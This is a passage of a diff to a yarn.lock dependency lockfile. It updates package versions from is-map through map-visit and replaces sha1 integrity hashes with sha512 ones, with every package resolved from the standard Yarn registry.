+  resolved "https://registry.yarnpkg.com/is-map/-/is-map-2.0.3.tgz#ede96b7fe1e270b3c4465e3a465658764926d62e"
+  integrity sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==
+
+is-negative-zero@^2.0.3:
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/is-negative-zero/-/is-negative-zero-2.0.3.tgz#ced903a027aca6381b777a5743069d7376a49747"
+  integrity sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==
+
+is-number-object@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/is-number-object/-/is-number-object-1.1.1.tgz#144b21e95a1bc148205dcc2814a9134ec41b2541"
+  integrity sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==
+  dependencies:
+    call-bound "^1.0.3"
+    has-tostringtag "^1.0.2"
+
 is-number@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/is-number/-/is-number-3.0.0.tgz#24fd6201a4782cf50561c810276afc7d12d71195"
-  integrity sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=
+  integrity sha512-4cboCqIpliH+mAvFNegjZQ4kgKc3ZUhQVr3HvWbSh5q3WH2v82ct+T2Y1hdU5Gdtorx/cLifQjqCbL7bpznLTg==
   dependencies:
     kind-of "^3.0.2"
 
 is-obj@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/is-obj/-/is-obj-1.0.1.tgz#3e4729ac1f5fde025cd7d83a896dab9f4f67db0f"
-  integrity sha1-PkcprB9f3gJc19g6iW2rn09n2w8=
+  integrity sha512-l4RyHgRqGN4Y3+9JHVrNqO+tN0rV5My76uW5/nuO4K1b6vw5G8d/cmFjP9tRfEsdhZNt0IFdZuK/c2Vr4Nb+Qg==
 
 is-observable@^1.1.0:
   version "1.1.0"
@@ -1788,7 +2233,7 @@ is-observable@^1.1.0:
 is-path-cwd@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/is-path-cwd/-/is-path-cwd-1.0.0.tgz#d225ec23132e89edd38fda767472e62e65f1106d"
-  integrity sha1-0iXsIxMuie3Tj9p2dHLmLmXxEG0=
+  integrity sha512-cnS56eR9SPAscL77ik76ATVqoPARTqPIVkMDVxRaWH06zT+6+CzIroYRJ0VVvm0Z1zfAvxvz9i/D3Ppjaqt5Nw==
 
 is-path-in-cwd@^1.0.0:
   version "1.0.1"
@@ -1800,7 +2245,7 @@ is-path-in-cwd@^1.0.0:
 is-path-inside@^1.0.0:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/is-path-inside/-/is-path-inside-1.0.1.tgz#8ef5b7de50437a3fdca6b4e865ef7aa55cb48036"
-  integrity sha1-jvW33lBDej/cprToZe96pVy0gDY=
+  integrity sha512-qhsCR/Esx4U4hg/9I19OVUAJkGWtjRYHMRgUMZE2TDdj+Ag+kttZanLupfddNyglzz50cUlmWzUaI37GDfNx/g==
   dependencies:
     path-is-inside "^1.0.1"
 
@@ -1816,66 +2261,130 @@ is-promise@^2.1.0:
   resolved "https://registry.yarnpkg.com/is-promise/-/is-promise-2.2.2.tgz#39ab959ccbf9a774cf079f7b40c7a26f763135f1"
   integrity sha512-+lP4/6lKUBfQjZ2pdxThZvLUAafmZb8OAxFb8XXtiQmS35INgr85hdOGoEs124ez1FCnZJt6jau/T+alh58QFQ==
 
-is-regex@^1.0.4, is-regex@^1.0.5:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/is-regex/-/is-regex-1.0.5.tgz#39d589a358bf18967f726967120b8fc1aed74eae"
-  integrity sha512-vlKW17SNq44owv5AQR3Cq0bQPEb8+kF3UKZ2fiZNOWtztYE5i0CzCZxFDwO58qAOWtxdBRVO/V5Qin1wjCqFYQ==
+is-regex@^1.1.4, is-regex@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/is-regex/-/is-regex-1.2.1.tgz#76d70a3ed10ef9be48eb577887d74205bf0cad22"
+  integrity sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==
   dependencies:
-    has "^1.0.3"
+    call-bound "^1.0.2"
+    gopd "^1.2.0"
+    has-tostringtag "^1.0.2"
+    hasown "^2.0.2"
 
 is-regexp@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/is-regexp/-/is-regexp-1.0.0.tgz#fd2d883545c46bac5a633e7b9a09e87fa2cb5069"
-  integrity sha1-/S2INUXEa6xaYz57mgnof6LLUGk=
+  integrity sha512-7zjFAPO4/gwyQAAgRRmqeEeyIICSdmCqa3tsVHMdBzaXXRiqopZL4Cyghg/XulGWrtABTpbnYYzzIRffLkP4oA==
 
 is-resolvable@^1.0.0:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/is-resolvable/-/is-resolvable-1.1.0.tgz#fb18f87ce1feb925169c9a407c19318a3206ed88"
   integrity sha512-qgDYXFSR5WvEfuS5dMj6oTMEbrrSaM0CrFk2Yiq/gXnBvD9pMa2jGXxyhGLfvhZpuMZe18CJpFxAt3CRs42NMg==
 
+is-set@^2.0.3:
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/is-set/-/is-set-2.0.3.tgz#8ab209ea424608141372ded6e0cb200ef1d9d01d"
+  integrity sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==
+
+is-shared-array-buffer@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/is-shared-array-buffer/-/is-shared-array-buffer-1.0.4.tgz#9b67844bd9b7f246ba0708c3a93e34269c774f6f"
+  integrity sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A==
+  dependencies:
+    call-bound "^1.0.3"
+
 is-stream@^1.1.0:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/is-stream/-/is-stream-1.1.0.tgz#12d4a3dd4e68e0b79ceb8dbc84173ae80d91ca44"
-  integrity sha1-EtSj3U5o4Lec6428hBc66A2RykQ=
+  integrity sha512-uQPm8kcs47jx38atAcWTVxyltQYoPT68y9aWYdV6yWXSyW8mzSat0TL6CiWdZeCdF3KrAvpVtnHbTv4RN+rqdQ==
 
-is-string@^1.0.5:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/is-string/-/is-string-1.0.5.tgz#40493ed198ef3ff477b8c7f92f644ec82a5cd3a6"
-  integrity sha512-buY6VNRjhQMiF1qWDouloZlQbRhDPCebwxSjxMjxgemYT46YMd2NR0/H+fBhEfWX4A/w9TBJ+ol+okqJKFE6vQ==
-
-is-symbol@^1.0.2:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/is-symbol/-/is-symbol-1.0.3.tgz#38e1014b9e6329be0de9d24a414fd7441ec61937"
-  integrity sha512-OwijhaRSgqvhm/0ZdAcXNZt9lYdKFpcRDT5ULUuYXPoT794UNOdU+gpT6Rzo7b4V2HUl/op6GqY894AZwv9faQ==
+is-string@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/is-string/-/is-string-1.1.1.tgz#92ea3f3d5c5b6e039ca8677e5ac8d07ea773cbb9"
+  integrity sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA==
   dependencies:
-    has-symbols "^1.0.1"
+    call-bound "^1.0.3"
+    has-tostringtag "^1.0.2"
+
+is-symbol@^1.0.4, is-symbol@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/is-symbol/-/is-symbol-1.1.1.tgz#f47761279f532e2b05a7024a7506dbbedacd0634"
+  integrity sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==
+  dependencies:
+    call-bound "^1.0.2"
+    has-symbols "^1.1.0"
+    safe-regex-test "^1.1.0"
+
+is-typed-array@^1.1.13, is-typed-array@^1.1.14, is-typed-array@^1.1.15:
+  version "1.1.15"
+  resolved "https://registry.yarnpkg.com/is-typed-array/-/is-typed-array-1.1.15.tgz#4bfb4a45b61cee83a5a46fba778e4e8d59c0ce0b"
+  integrity sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==
+  dependencies:
+    which-typed-array "^1.1.16"
+
+is-weakmap@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/is-weakmap/-/is-weakmap-2.0.2.tgz#bf72615d649dfe5f699079c54b83e47d1ae19cfd"
+  integrity sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==
+
+is-weakref@^1.0.2, is-weakref@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/is-weakref/-/is-weakref-1.1.1.tgz#eea430182be8d64174bd96bffbc46f21bf3f9293"
+  integrity sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew==
+  dependencies:
+    call-bound "^1.0.3"
+
+is-weakset@^2.0.3:
+  version "2.0.4"
+  resolved "https://registry.yarnpkg.com/is-weakset/-/is-weakset-2.0.4.tgz#c9f5deb0bc1906c6d6f1027f284ddf459249daca"
+  integrity sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==
+  dependencies:
+    call-bound "^1.0.3"
+    get-intrinsic "^1.2.6"
 
 is-windows@^1.0.2:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/is-windows/-/is-windows-1.0.2.tgz#d1850eb9791ecd18e6182ce12a30f396634bb19d"
   integrity sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==
 
-isarray@1.0.0, isarray@^1.0.0, isarray@~1.0.0:
+isarray@1.0.0, isarray@~1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/isarray/-/isarray-1.0.0.tgz#bb935d48582cba168c06834957a54a3e07124f11"
-  integrity sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=
+  integrity sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==
+
+isarray@^2.0.5:
+  version "2.0.5"
+  resolved "https://registry.yarnpkg.com/isarray/-/isarray-2.0.5.tgz#8af1e4c1221244cc62459faf38940d4e644a5723"
+  integrity sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==
 
 isexe@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/isexe/-/isexe-2.0.0.tgz#e8fbf374dc556ff8947a10dcb0572d633f2cfa10"
-  integrity sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=
+  integrity sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==
 
 isobject@^2.0.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/isobject/-/isobject-2.1.0.tgz#f065561096a3f1da2ef46272f815c840d87e0c89"
-  integrity sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=
+  integrity sha512-+OUdGJlgjOBZDfxnDjYYG6zp487z0JGNQq3cYQYg5f5hKR+syHMsaztzGeml/4kGG55CSpKSpWTY+jYGgsHLgA==
   dependencies:
     isarray "1.0.0"
 
 isobject@^3.0.0, isobject@^3.0.1:
   version "3.0.1"
   resolved "https://registry.yarnpkg.com/isobject/-/isobject-3.0.1.tgz#4e431e92b11a9731636aa1f9c8d1ccbcfdab78df"
-  integrity sha1-TkMekrEalzFjaqH5yNHMvP2reN8=
+  integrity sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==
+
+iterator.prototype@^1.1.4:
+  version "1.1.5"
+  resolved "https://registry.yarnpkg.com/iterator.prototype/-/iterator.prototype-1.1.5.tgz#12c959a29de32de0aa3bbbb801f4d777066dae39"
+  integrity sha512-H0dkQoCa3b2VEeKQBOxFph+JAbcrQdE7KC0UkqwpLmv2EC4P41QXP+rqo9wYodACiG5/WM5s9oDApTU8utwj9g==
+  dependencies:
+    define-data-property "^1.1.4"
+    es-object-atoms "^1.0.0"
+    get-intrinsic "^1.2.6"
+    get-proto "^1.0.0"
+    has-symbols "^1.1.0"
+    set-function-name "^2.0.2"
 
 "js-tokens@^3.0.0 || ^4.0.0", js-tokens@^4.0.0:
   version "4.0.0"
@@ -1885,20 +2394,20 @@ isobject@^3.0.0, isobject@^3.0.1:
 js-tokens@^3.0.2:
   version "3.0.2"
   resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-3.0.2.tgz#9866df395102130e38f7f996bceb65443209c25b"
-  integrity sha1-mGbfOVECEw449/mWvOtlRDIJwls=
+  integrity sha512-RjTcuD4xjtthQkaWH7dFlH85L+QaVtSoOyGdZ3g6HFhS9dFNDfLyqgm2NFe2X6cQpeFmt0452FJjFG5UameExg==
 
 js-yaml@^3.13.0, js-yaml@^3.13.1, js-yaml@^3.9.1:
-  version "3.13.1"
-  resolved "https://registry.yarnpkg.com/js-yaml/-/js-yaml-3.13.1.tgz#aff151b30bfdfa8e49e05da22e7415e9dfa37847"
-  integrity sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==
+  version "3.14.1"
+  resolved "https://registry.yarnpkg.com/js-yaml/-/js-yaml-3.14.1.tgz#dae812fdb3825fa306609a8717383c50c36a0537"
+  integrity sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==
   dependencies:
     argparse "^1.0.7"
     esprima "^4.0.0"
 
-jsesc@^2.5.1:
-  version "2.5.2"
-  resolved "https://registry.yarnpkg.com/jsesc/-/jsesc-2.5.2.tgz#80564d2e483dacf6e8ef209650a67df3f0c283a4"
-  integrity sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==
+jsesc@^3.0.2:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/jsesc/-/jsesc-3.1.0.tgz#74d335a234f67ed19907fdadfac7ccf9d409825d"
+  integrity sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==
 
 json-parse-better-errors@^1.0.1:
   version "1.0.2"
@@ -1908,7 +2417,7 @@ json-parse-better-errors@^1.0.1:
 json-schema-traverse@^0.3.0:
   version "0.3.1"
   resolved "https://registry.yarnpkg.com/json-schema-traverse/-/json-schema-traverse-0.3.1.tgz#349a6d44c53a51de89b40805c5d5e59b417d3340"
-  integrity sha1-NJptRMU6Ud6JtAgFxdXlm0F9M0A=
+  integrity sha512-4JD/Ivzg7PoW8NzdrBSr3UFwC9mHgvI7Z6z3QGBsSHgKaRTUDmyZAAKJo2UbG1kUVfS9WS8bi36N49U1xw43DA==
 
 json-schema-traverse@^0.4.1:
   version "0.4.1"
@@ -1918,51 +2427,67 @@ json-schema-traverse@^0.4.1:
 json-stable-stringify-without-jsonify@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz#9db7b59496ad3f3cfef30a75142d2d930ad72651"
-  integrity sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE=
+  integrity sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==
 
-jsx-ast-utils@^2.2.1, jsx-ast-utils@^2.2.3:
-  version "2.2.3"
-  resolved "https://registry.yarnpkg.com/jsx-ast-utils/-/jsx-ast-utils-2.2.3.tgz#8a9364e402448a3ce7f14d357738310d9248054f"
-  integrity sha512-EdIHFMm+1BPynpKOpdPqiOsvnIrInRGJD7bzPZdPkjitQEqpdpUuFpq4T0npZFKTiB3RhWFdGN+oqOJIdhDhQA==
+json5@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/json5/-/json5-1.0.2.tgz#63d98d60f21b313b77c4d6da18bfa69d80e1d593"
+  integrity sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==
   dependencies:
-    array-includes "^3.0.3"
-    object.assign "^4.1.0"
+    minimist "^1.2.0"
+
+"jsx-ast-utils@^2.4.1 || ^3.0.0", jsx-ast-utils@^3.3.5:
+  version "3.3.5"
+  resolved "https://registry.yarnpkg.com/jsx-ast-utils/-/jsx-ast-utils-3.3.5.tgz#4766bd05a8e2a11af222becd19e15575e52a853a"
+  integrity sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==
+  dependencies:
+    array-includes "^3.1.6"
+    array.prototype.flat "^1.3.1"
+    object.assign "^4.1.4"
+    object.values "^1.1.6"
 
 kind-of@^3.0.2, kind-of@^3.0.3, kind-of@^3.2.0:
   version "3.2.2"
   resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-3.2.2.tgz#31ea21a734bab9bbb0f32466d893aea51e4a3c64"
-  integrity sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=
+  integrity sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==
   dependencies:
     is-buffer "^1.1.5"
 
 kind-of@^4.0.0:
   version "4.0.0"
   resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-4.0.0.tgz#20813df3d712928b207378691a45066fae72dd57"
-  integrity sha1-IIE989cSkosgc3hpGkUGb65y3Vc=
+  integrity sha512-24XsCxmEbRwEDbz/qz3stgin8TTzZ1ESR56OMCN0ujYg+vRutNSiOj9bHH9u85DKgXguraugV5sFuvbD4FW/hw==
   dependencies:
     is-buffer "^1.1.5"
 
-kind-of@^5.0.0:
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-5.1.0.tgz#729c91e2d857b7a419a1f9aa65685c4c33f5845d"
-  integrity sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==
-
-kind-of@^6.0.0, kind-of@^6.0.2:
+kind-of@^6.0.2:
   version "6.0.3"
   resolved "https://registry.yarnpkg.com/kind-of/-/kind-of-6.0.3.tgz#07c05034a6c349fa06e24fa35aa76db4580ce4dd"
   integrity sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==
 
+language-subtag-registry@^0.3.20:
+  version "0.3.23"
+  resolved "https://registry.yarnpkg.com/language-subtag-registry/-/language-subtag-registry-0.3.23.tgz#23529e04d9e3b74679d70142df3fd2eb6ec572e7"
+  integrity sha512-0K65Lea881pHotoGEa5gDlMxt3pctLi2RplBb7Ezh4rRdLEOtgi7n4EwK9lamnUCkKBqaeKRVebTq6BAxSkpXQ==
+
+language-tags@^1.0.9:
+  version "1.0.9"
+  resolved "https://registry.yarnpkg.com/language-tags/-/language-tags-1.0.9.tgz#1ffdcd0ec0fafb4b1be7f8b11f306ad0f9c08777"
+  integrity sha512-MbjN408fEndfiQXbFQ1vnd+1NoLDsnQW41410oQBXiyXDMYH5z505juWa4KUE1LqxRC7DgOgZDbKLxHIwm27hA==
+  dependencies:
+    language-subtag-registry "^0.3.20"
+
 lcid@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/lcid/-/lcid-1.0.0.tgz#308accafa0bc483a3867b4b6f2b9506251d1b835"
-  integrity sha1-MIrMr6C8SDo4Z7S28rlQYlHRuDU=
+  integrity sha512-YiGkH6EnGrDGqLMITnGjXtGmNtjoXw9SVUzcaos8RBi7Ps0VBylkq+vOcY9QE5poLasPCR849ucFUkl0UzUyOw==
   dependencies:
     invert-kv "^1.0.0"
 
 levn@^0.3.0, levn@~0.3.0:
   version "0.3.0"
   resolved "https://registry.yarnpkg.com/levn/-/levn-0.3.0.tgz#3b09924edf9f083c0490fdd4c0bc4421e04764ee"
-  integrity sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=
+  integrity sha512-0OO4y2iOHix2W6ujICbKIaEQXvFQHue65vUG3pb5EUomzPI90z9hsA1VsO/dbIIpC53J8gxM9Q4Oho0jrCM/yA==
   dependencies:
     prelude-ls "~1.1.2"
     type-check "~0.3.2"
@@ -2000,7 +2525,7 @@ lint-staged@^8.1.0:
 listr-silent-renderer@^1.1.1:
   version "1.1.1"
   resolved "https://registry.yarnpkg.com/listr-silent-renderer/-/listr-silent-renderer-1.1.1.tgz#924b5a3757153770bf1a8e3fbf74b8bbf3f9242e"
-  integrity sha1-kktaN1cVN3C/Go4/v3S4u/P5JC4=
+  integrity sha512-L26cIFm7/oZeSNVhWB6faeorXhMg4HNlb/dS/7jHhr708jxlXrtrBWo4YUxZQkc6dGoxEAe6J/D3juTRBUzjtA==
 
 listr-update-renderer@^0.5.0:
   version "0.5.0"
@@ -2041,20 +2566,10 @@ listr@^0.14.2:
     p-map "^2.0.0"
     rxjs "^6.3.3"
 
-load-json-file@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/load-json-file/-/load-json-file-2.0.0.tgz#7947e42149af80d696cbf797bcaabcfe1fe29ca8"
-  integrity sha1-eUfkIUmvgNaWy/eXvKq8/h/inKg=
-  dependencies:
-    graceful-fs "^4.1.2"
-    parse-json "^2.2.0"
-    pify "^2.0.0"
-    strip-bom "^3.0.0"
-
 locate-path@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-2.0.0.tgz#2b568b265eec944c6d9c0de9c3dbbbca0354cd8e"
-  integrity sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=
+  integrity sha512-NCI2kiDkyR7VeEKm27Kda/iQHyKJe1Bu0FlTbYp3CqJu+9IFe9bLyAjMxf5ZDDbEg+iMPzB5zYyUTSm8wVTKmA==
   dependencies:
     p-locate "^2.0.0"
     path-exists "^3.0.0"
@@ -2070,7 +2585,7 @@ locate-path@^3.0.0:
 lodash.memoize@^4.1.2:
   version "4.1.2"
   resolved "https://registry.yarnpkg.com/lodash.memoize/-/lodash.memoize-4.1.2.tgz#bcc6c49a42a2840ed997f323eada5ecd182e0bfe"
-  integrity sha1-vMbEmkKihA7Zl/Mj6tpezRguC/4=
+  integrity sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==
 
 lodash.merge@^4.6.0:
   version "4.6.2"
@@ -2080,17 +2595,17 @@ lodash.merge@^4.6.0:
 lodash.unescape@4.0.1:
   version "4.0.1"
   resolved "https://registry.yarnpkg.com/lodash.unescape/-/lodash.unescape-4.0.1.tgz#bf2249886ce514cda112fae9218cdc065211fc9c"
-  integrity sha1-vyJJiGzlFM2hEvrpIYzcBlIR/Jw=
+  integrity sha512-DhhGRshNS1aX6s5YdBE3njCCouPgnG29ebyHvImlZzXZf2SHgt+J08DHgytTPnpywNbO1Y8mNUFyQuIDBq2JZg==
 
-lodash@^4.17.11, lodash@^4.17.12, lodash@^4.17.13, lodash@^4.17.14, lodash@^4.17.4, lodash@^4.3.0:
-  version "4.17.15"
-  resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.15.tgz#b447f6670a0455bbfeedd11392eff330ea097548"
-  integrity sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==
+lodash@^4.17.11, lodash@^4.17.12, lodash@^4.17.14, lodash@^4.17.4, lodash@^4.3.0:
+  version "4.17.21"
+  resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz#679591c564c3bffaae8454cf0b3df370c3d6911c"
+  integrity sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==
 
 log-symbols@^1.0.2:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/log-symbols/-/log-symbols-1.0.2.tgz#376ff7b58ea3086a0f09facc74617eca501e1a18"
-  integrity sha1-N2/3tY6jCGoPCfrMdGF+ylAeGhg=
+  integrity sha512-mmPrW0Fh2fxOzdBbFv4g1m6pR72haFLPJ2G5SJEELf1y+iaQrDG6cWCPjy54RHYbZAt7X+ls690Kw62AdWXBzQ==
   dependencies:
     chalk "^1.0.0"
 
@@ -2104,7 +2619,7 @@ log-symbols@^2.2.0:
 log-update@^2.3.0:
   version "2.3.0"
   resolved "https://registry.yarnpkg.com/log-update/-/log-update-2.3.0.tgz#88328fd7d1ce7938b29283746f0b1bc126b24708"
-  integrity sha1-iDKP19HOeTiykoN0bwsbwSayRwg=
+  integrity sha512-vlP11XfFGyeNQlmEn9tJ66rEW1coA/79m5z6BCkudjbAGE83uhAcGYrBFwfs3AdLiLzGRusRPAbSPK9xZteCmg==
   dependencies:
     ansi-escapes "^3.0.0"
     cli-cursor "^2.0.0"
@@ -2113,15 +2628,15 @@ log-update@^2.3.0:
 loglevel-colored-level-prefix@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/loglevel-colored-level-prefix/-/loglevel-colored-level-prefix-1.0.0.tgz#6a40218fdc7ae15fc76c3d0f3e676c465388603e"
-  integrity sha1-akAhj9x64V/HbD0PPmdsRlOIYD4=
+  integrity sha512-u45Wcxxc+SdAlh4yeF/uKlC1SPUPCy0gullSNKXod5I4bmifzk+Q4lSLExNEVn19tGaJipbZ4V4jbFn79/6mVA==
   dependencies:
     chalk "^1.1.3"
     loglevel "^1.4.1"
 
 loglevel@^1.4.1:
-  version "1.6.8"
-  resolved "https://registry.yarnpkg.com/loglevel/-/loglevel-1.6.8.tgz#8a25fb75d092230ecd4457270d80b54e28011171"
-  integrity sha512-bsU7+gc9AJ2SqpzxwU3+1fedl8zAntbtC5XYlt3s2j1hJcn2PsXSmgN8TaLG/J1/2mod4+cE/3vNL70/c1RNCA==
+  version "1.9.2"
+  resolved "https://registry.yarnpkg.com/loglevel/-/loglevel-1.9.2.tgz#c2e028d6c757720107df4e64508530db6621ba08"
+  integrity sha512-HgMmCqIJSAKqo68l0rS2AanEWfkxaZ5wNiEFb5ggm08lDs9Xl2KxBlX3PTcaD2chBM1gXAYf491/M2Rv8Jwayg==
 
 loose-envify@^1.4.0:
   version "1.4.0"
@@ -2148,17 +2663,17 @@ make-plural@^4.1.1:
 map-cache@^0.2.2:
   version "0.2.2"
   resolved "https://registry.yarnpkg.com/map-cache/-/map-cache-0.2.2.tgz#c32abd0bd6525d9b051645bb4f26ac5dc98a0dbf"
-  integrity sha1-wyq9C9ZSXZsFFkW7TyasXcmKDb8=
+  integrity sha512-8y/eV9QQZCiyn1SprXSrCmqJN0yNRATe+PO8ztwqrvrbdRLA3eYJF0yaR0YayLWkMbsQSKWS9N2gPcGEc4UsZg==
 
 map-obj@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/map-obj/-/map-obj-2.0.0.tgz#a65cd29087a92598b8791257a523e021222ac1f9"
-  integrity sha1-plzSkIepJZi4eRJXpSPgISIqwfk=
+  integrity sha512-TzQSV2DiMYgoF5RycneKVUzIa9bQsj/B3tTgsE3dOGqlzHnGIDaC7XBE7grnA+8kZPnfqSGFe95VHc2oc0VFUQ==
 
 map-visit@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/map-visit/-/map-visit-1.0.0.tgz#ecdca8f13144e660f1b5bd41f12f3479d98dfb8f"
-  integrity sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=
+  integrity sha512-4y7uGv8bd2WdM9vpQsiQNo41Ln1NvhvDRuVt0k2JZQ+ezN2uaQes7lZeZ+QQUHOLQAtDaBJ+7wCbi+ab/KFs+w==
   dependencies:
     object-visit "^1.0.0"
 
